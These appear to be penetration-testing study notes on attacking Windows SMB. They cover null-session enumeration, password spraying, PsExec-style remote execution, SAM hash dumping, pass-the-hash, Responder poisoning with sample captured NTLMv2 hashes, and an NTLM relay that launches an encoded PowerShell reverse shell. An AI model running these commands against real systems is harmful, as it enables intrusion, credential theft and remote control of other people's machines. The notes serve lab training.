SMB

Server Message Block

it was designed to run on top of NetBIOS over TCP/IP (NBT) using TCP port 139 and UDP ports 137 and 138.

However, with Windows 2000, Microsoft added the option to run SMB directly over TCP/IP on port 445 without the extra NetBIOS layer.

Enumeration

sudo nmap 10.129.14.128 -sV -sC -p139,445

Misconfigurations

File Share

SMB can be configured not to require authentication, which is often called a null session. Instead, we can log in to a system with no username or password.

smbclient -N -L //<IP>

list of the server's shares with the option -L, and using the option -N

Smbmap is another tool that helps us enumerate network shares and access associated permissions. An advantage of smbmap is that it provides a list of permissions for each shared folder.

smbmap -H <IP>

Using smbmap with the -r or -R (recursive) option, one can browse the directories:

smbmap -H <IP> -r notes

smbmap -H <IP> --download "notes\note.txt

smbmap -H <IP> --upload test.txt "notes\test.txt"

Remote Procedure Call (RPC)

We can use the rpcclient tool with a null session to enumerate a workstation or Domain Controller.

We can use this cheat sheet from the SANS Institute or review the complete list of all these functions found on the man page of the rpcclient.

rpcclient -U'%' <IP>
> enumdomusers

Enum4linux is another utility that supports null sessions, and it utilizes nmblookup, net, rpcclient, and smbclient to automate some common enumeration from SMB targets such as:

• Workgroup/Domain name

• Users information

• Operating system information

• Groups information

• Shares Folders

• Password policy information

The original tool was written in Perl and rewritten by Mark Lowe in Python.

./enum4linux-ng.py <IP> -A -C

Protocol Specifics Attacks

If a null session is not enabled, we will need credentials to interact with the SMB protocol. Two common ways to obtain credentials are brute forcing and password spraying.

crackmapexec smb <IP> -u <user or userlist> -p <password or passwordlist> --local-auth

Netexec is the fork and continuation of crackmapexec

By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. it is very useful for spraying a single password against a large user list. Additionally, if we are targetting a non-domain joined computer, we will need to use the option --local-auth. For a more detailed study Password Spraying see the Active Directory Enumeration & Attacks module.

SMB

When attacking a Windows SMB Server, our actions will be limited by the privileges we had on the user we manage to compromise. If this user is an Administrator or has specific privileges, we will be able to perform operations such as:

• Remote Command Execution

• Extract Hashes from SAM Database

• Enumerating Logged-on Users

• Pass-the-Hash (PTH)

We can download PsExec from Microsoft website, or we can use some Linux implementations:

• Impacket PsExec - Python PsExec like functionality example using RemComSvc.
• Impacket SMBExec - A similar approach to PsExec without using RemComSvc. The technique is described here. This implementation goes one step further, instantiating a local SMB server to receive the output of the commands. This is useful when the target machine does NOT have a writeable share available.
• Impacket atexec - This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
• CrackMapExec - includes an implementation of smbexec and atexec.
• Metasploit PsExec - Ruby PsExec implementation.

impacket-psexec administrator:'Password123!'@<IP>

crackmapexec smb <IP> -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

If the--exec-method is not defined, CrackMapExec will try to execute the atexec method, if it fails you can try to specify the --exec-method smbexec.

Enumerating Logged-on Users

Imagine we are in a network with multiple machines. Some of them share the same local administrator account. In this case, we could use CrackMapExec to enumerate logged-on users on all machines within the same network 10.10.110.17/24, which speeds up our enumeration process.

crackmapexec smb <NetIP>/24 -u administrator -p 'Password123!' --loggedon-users

Extract Hashes from SAM Database

crackmapexec smb <IP> -u administrator -p 'Password123!' --sam

Pass-the-Hash (PtH)

We can use a PtH attack with any Impacket tool, SMBMap, CrackMapExec, among other tools. Here is an example of how this would work with CrackMapExec:

crackmapexec smb <IP> -u Administrator -H <HASH>

Forced Authentication Attacks

We can also abuse the SMB protocol by creating a fake SMB Server to capture users' NetNTLM v1/v2 hashes.

The most common tool to perform such operations is the Responder. Responder is an LLMNR, NBT-NS, and MDNS poisoner tool with different capabilities, one of them is the possibility to set up fake services, including SMB, to steal NetNTLM v1/v2 hashes.

responder -I <interface name>

When a user or a system tries to perform a Name Resolution (NR), a series of procedures are conducted by a machine to retrieve a host's IP address by its hostname. On Windows machines, the procedure will roughly be as follows:

• The hostname file share's IP address is required.

• The local host file (C:\Windows\System32\Drivers\etc\hosts) will be checked for suitable records.

• If no records are found, the machine switches to the local DNS cache, which keeps track of recently resolved names.

• Is there no local DNS record? A query will be sent to the DNS server that has been configured.

• If all else fails, the machine will issue a multicast query, requesting the IP address of the file share from other machines on the network.

Suppose a user mistyped a shared folder's name \\mysharefoder\ instead of \\mysharedfolder\. In that case, all name resolutions will fail because the name does not exist, and the machine will send a multicast query to all devices on the network, including us running our fake SMB server. This is a problem because no measures are taken to verify the integrity of the responses. Attackers can take advantage of this mechanism by listening in on such queries and spoofing responses, leading the victim to believe malicious servers are trustworthy. This trust is usually used to steal credentials.

Example output of responder:

[+] Listening for events... 

[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[*] [LLMNR]  Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

These captured credentials can be cracked using hashcat or relayed to a remote host to complete the authentication and impersonate the user.

All saved Hashes are located in Responder's logs directory (/usr/share/responder/logs/). We can copy the hash to a file and attempt to crack it using the hashcat module 5600.

If you notice multiples hashes for one account this is because NTLMv2 utilizes both a client-side and server-side challenge that is randomized for each interaction. This makes it so the resulting hashes that are sent are salted with a randomized string of numbers. This is why the hashes don't match but still represent the same password.

If we cannot crack the hash, we can potentially relay the captured hash to another machine using impacket-ntlmrelayx or Responder MultiRelay.py

On responder: First, we need to set SMB to OFF in our responder configuration file (/etc/responder/Responder.conf).

cat /etc/responder/Responder.conf | grep 'SMB ='

SMB = Off

Then we execute impacket-ntlmrelayx with the option --no-http-server, -smb2support, and the target machine with the option -t. By default, impacket-ntlmrelayx will dump the SAM database, but we can execute commands by adding the option -c.

impacket-ntlmrelayx --no-http-server -smb2support -t <IP>

We can create a PowerShell reverse shell using https://www.revshells.com/, set our machine IP address, port, and the option Powershell #3 (Base64).

impacket-ntlmrelayx --no-http-server -smb2support -t <IP> -c 'powershell -e [...]'

RPC

In the Footprinting page, we discuss how to enumerate a machine using RPC. Apart from enumeration, we can use RPC to make changes to the system, such as:

• Change a user's password.

• Create a new domain user.

• Create a new shared folder.

Keep in mind that some specific configurations are required to allow these types of changes through RPC. We can use the rpclient man page or SMB Access from Linux Cheat Sheet from the SANS Institute to explore this further.